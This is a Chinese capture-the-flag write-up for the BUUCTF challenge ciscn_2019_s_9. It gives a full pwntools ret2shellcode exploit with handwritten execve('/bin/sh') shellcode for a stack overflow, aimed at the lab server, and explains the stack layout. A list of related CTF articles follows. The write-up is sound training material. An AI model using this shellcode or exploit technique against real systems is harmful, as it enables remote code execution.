BUUCTF--ciscn_2019_s_91

2024-01-04 02:44
文章标签 buuctf 2019 91 ciscn

本文主要是介绍BUUCTF--ciscn_2019_s_91,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

先看保护:


发现保护全没开,紧接着看看程序执行流程:


经过测试发现了段错误,这肯定就是栈溢出了。因此我们在IDA中看看具体逻辑:


程序主要就这个功能,我们还在程序中发现一个函数:


一段汇编,因此,这题就是个ret2shellcode。我们只需要手写汇编布置到栈上即可(这题不能用pwntools自带的shellcode因为不够长度,手写的这个仅仅28个字节),代码如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context(log_level='debug',arch='i386',os='linux')
#io = process("./ciscn_s_9")
io=remote('node5.buuoj.cn',26754)
ret_addr = 0x08048554 
shellcode ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80                
'''
#gdb.attach(io)
shellcode=asm(shellcode)
payload = shellcode.ljust(0x24,b'\x90') + p32(ret_addr) + asm("sub esp,40;call esp")
print(len(payload))
io.recvuntil(">\n")
io.sendline(payload)io.interactive()

这题没啥好讲的,主要是手写shellcode和调试布局。我们看看payload后布局时啥样的,为什么还要sub esp,40;call esp:


我已经将注释放上,可以看到,当执行到返回地址后,esp将指向0xffafaee0,此时,我们需要让他去到0xffafaeb8的位置,那么e0-b8的大小等于0x28也就是10进制的40.接着再跳到0xffafaeb8的位置执行。最后得到flag:

这篇关于BUUCTF--ciscn_2019_s_91的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/567923

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

2019学习计划

工作三年了,第一年感觉是荒废的,第二年开始学习python,第三年开始自动化 感觉自己会的东西比较少,而且不够深入,流于表面 现制定一下今年大概的学习计划 需持续巩固加强:python、ui自动化、接口自动化、sql等 代码量需提升,敲的不够(重点) 学习: 1.移动端测试,appium等 2.前端知识系统整理学习  3.性能测试 4.docker入门,环境搭建 5.shell

Python精选200Tips:91-100

To do a good job, one must first sharpen their tools. 091 sys092 os093 json094 re邮箱地址手机号身份证号数字(整数和浮点数)匹配科学计数法汉字大、小写字母年月日 095 itertools096 datetime097 math098 random099 collectionsCounterdequedefa

最简单的使用JDBC[连接数据库] mysql 2019年3月18日

最极简版本的, 我们这里以mysql为例: 首先要创建maven工程, 需要引入jar包:,这里需要注意, 如果你安装的是mysql最新版本8以上的, 下面有些地方需要更改,具体就是mysql连接的url, 和5版本的不一样,具体解决请自行百度哈.这里只演示mysql5版本的? 依赖: <dependency>   <groupId>mysql</groupId>   <artifactId

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

(php伪随机数生成)[GWCTF 2019]枯燥的抽奖

审核源码发现加载check.php,审计发现使用了mt_rand()函数,这个函数生成的值是伪随机的 参考下面这篇文章 PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户 kali里面输入下载工具 git clone https://github.com/openwall/php_mt_seed.git cd进去输入make后编译出的文件先

2019年2月17日

今天又重新看了一下输出第1500个丑数 在我错了八次之后发现要输出一个句号还要输出换行 接下来的两天应该进入复习阶段了。

National Contest for Private Universities (NCPU), 2019 E. Generalized Pascal's Triangle

编辑代码 2000ms 262144K Generalized Pascal's Triangle Pascal's triangle is a triangular array in which each number can be calculated by the sum of the two numbers directly above that number as shown i